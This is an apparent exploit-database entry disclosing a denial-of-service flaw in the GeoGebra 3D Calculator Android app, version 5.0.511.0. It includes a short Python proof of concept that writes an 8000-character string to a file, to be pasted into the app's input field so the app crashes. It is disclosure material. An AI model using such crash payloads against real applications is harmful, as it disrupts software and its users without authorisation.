# Exploit Title: GeoGebra 3D Calculator 5.0.511.0 - Denial of Service (PoC) # Date: 2021-03-15 # Author: Brian Rodríguez # Software Site: https://www.geogebra.org/download # Download Link: https://play.google.com/store/apps/details?id=org.geogebra.android.g3d&utm_source=Download+page&utm_medium=Website&utm_campaign=3D+Calculator+for+Android # Version: 5.0.511.0 # Category: DoS (Android) ##### Vulnerability ##### Graficador GeoGebra 3D is vulnerable to a DoS condition when a long list of characters is being used in field "Entrada..." text box. Successful exploitation will causes application stop working. I have been able to test this exploit against Android 10.0. ##### PoC ##### #!/usr/bin/env python buffer = "\x41" * 8000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")